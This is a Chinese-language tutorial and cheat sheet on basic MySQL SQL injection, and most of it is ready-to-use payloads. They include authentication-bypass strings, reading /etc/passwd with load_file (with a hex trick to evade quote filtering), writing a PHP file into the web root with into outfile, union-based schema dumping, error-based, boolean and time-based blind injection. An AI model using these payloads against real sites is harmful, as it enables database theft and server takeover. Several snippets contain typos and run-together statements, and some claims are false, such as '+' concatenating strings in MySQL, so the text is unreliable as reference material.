sql注入之必備的基礎知識,sql注入基礎知識
什麼是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入欄位或頁面請求的查詢字串,欺騙伺服器執行惡意的SQL命令。在某些表單中,使用者輸入的內容直接用來構造(或者影響)動態SQL命令,或作為預存程序的輸入參數,這類表單特別容易受到SQL注入式攻擊。
mysql常用注釋
#
--[空格]或者是--+
/*…*/
在注意過程中,這些注釋可能都需要進行urlencode。
mysql認證繞過
;%00
‘ or 1=1 #
‘ /*!or */ 1=1 --+
mysql串連符
mysql中使用+來進行串連。
select * from users where username='zhangsan' and "ab"="a"+"b";
mysql中常見函數
在進行sql注入過程中,會使用到mysql中的內建函數。在內建函數中,又分為擷取資訊的函數和功能函數。
資訊函數是用來擷取mysql中的資料庫的資訊,功能函數就是傳統的函數用來完成某項操作。
常用的資訊函數有:
database()
,用於擷取當前所使用的資料庫資訊
version():
返回資料庫的版本,等價於@@version
user():
返回當前的使用者,等價如current_user參數。如:
select user(); #root@localhostselect current_user; #root@localhost
@@datadir
,擷取資料庫的儲存位置。
select @@datadir; #D:\xampp\mysql\data\
常見的功能函數有:
load_file():
從電腦中載入檔案,讀取檔案中的資料。
select * from users union select 1,load_file('/etc/passwd'),3;select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進位繞過單引號限制
into outfile:
寫入檔案,前提是具有寫入許可權
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
concat():
返回結果為串連參數產生的字串。如果其中一個參數為null,則傳回值為null。
用法如下:
select concat(username,password)from users;
*concat_ws()
:是concat_ws()
的特殊形式,第一個參數是分隔字元,剩下的參數就是欄位名。
select concat_ws(',',username,password) from users;
group_concat()
:用於合并多條記錄中的結果。
用法如下:
select group_concat(username) from users;#返回的就是users表中所有的使用者名稱,並且是作為一條記錄返回。
subtring()
,substr():
用於截斷字串。用法為:substr(str,pos,length)
,注意pos是從1開始的。
select substr((select database()),1,1);
ascii():
用法返回字元所對應的ascii值。
select ascii('a'); #97
length():
返回字串的長度。
如:
select length("123456") #返回6
is(exp1,exp2,exp2):
如果exp1的運算式是True,則返回exp2;否則返回exp3。
如:
select 1,2,if(1=1,3,-1) #1,2,3selecrt 1,2,if(1=2,3,-1) #1,2,-1
以上就是在進行sql注入工程中常用的函數。當然還存在一些使用的不是很多的函數。
now():
返回當前的系統時間
hex():
返回字串的16進位
unhex():
反向的hex()的16進位
@@basedir():
反向mysql的安裝目錄
@@versin_compile_os:
作業系統
mysql資料庫元資訊
在mysql中存在information_schema
是一個資訊資料庫,在這個資料庫中儲存了Mysql伺服器所儲存的所有的其他資料庫的資訊,如資料庫名,資料庫的表,表的欄位名稱
和存取權限。在informa_schema
中常用的表有:
schemata:儲存了mysql中所有的資料庫資訊,返回的內容與show databases的結果是一樣的。
tables:儲存了資料庫中的表的資訊。詳細地描述了某個表屬於哪個schema,表類型,表引擎。
show tables from secuiry的結果就是來自這個表
columns:詳細地描述了某張表的所有的列以及每個列的資訊。
show columns from users的結果就是來自這個表
下面就是利用以上的3個表來擷取資料庫的資訊。
select database(); #查選資料庫select schema_name from information_schema.schemata limit 0,1 #查詢資料庫select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列
sql注入類型
sql注入類型大致可以分為常規的sql注入和sql盲注。sql盲注又可以分為基於時間的盲注和基於網頁內容的盲注。
關於sql的盲注,網上也有很多的說明,這裡也不做過多的解釋。關於盲注的概念,有具體的例子就方便進行說明。
延時注入中,常用的函數就包括了if()
和sleep()
函數。
基本的sql運算式如下:
select * from users where id=1 and if(length(user())=14,sleep(3),1);select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
寬位元組注入
關於寬位元組注入,可以參考寬位元組注入詳解。寬位元組輸入一般是由於網頁編碼與資料庫的編碼不匹配造成的。對於寬位元組注入,使用%d5或%df繞過
mysql常用語句總結
常規注入
1' order by num # 確定欄位長度1' union select 1,2,3 # 確定欄位長度-1' union select 1,2,3 # 判斷頁面中顯示的欄位-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的資料庫-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #-1' union select 1,2,3 AND '1'='1 在注釋符無法使用的情況下
雙重SQL查選
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語句的寫法,常用於sql的盲注。得到資料庫的資訊select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到資料庫的表的資訊 #利用姿勢如下:1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
這種利用姿勢是通過mysql執行sql命令時的報錯資訊來得到所需要的資訊的,在接下來的文章中會對這種寫法進行詳細地分析。
bool盲注
1' and ascii(substr(select database(),1,1))>991' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
bool盲注就是根據sql語句執行傳回值是True或False對應的頁面內容會發生,來得到資訊。
time盲注
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
上述的2種寫法都是等價的,time盲注餘常規的sql注入方法不同。time盲注需要一般需要使用到if()
和sleep()
函數。然後根據頁面返回內容的長度,進而知道sleep()
函數是否有執行。
根據sleep()
函數是否執行來得到所需的資訊。
總結
以上就是sql注入之必備的基礎知識,接下來的文章將會通過執行個體詳細地講解sql注入中的知識,今天的這篇文章也主要是作為一個基礎知識。對sql注入感興趣的朋友們請繼續關注幫客之家哦。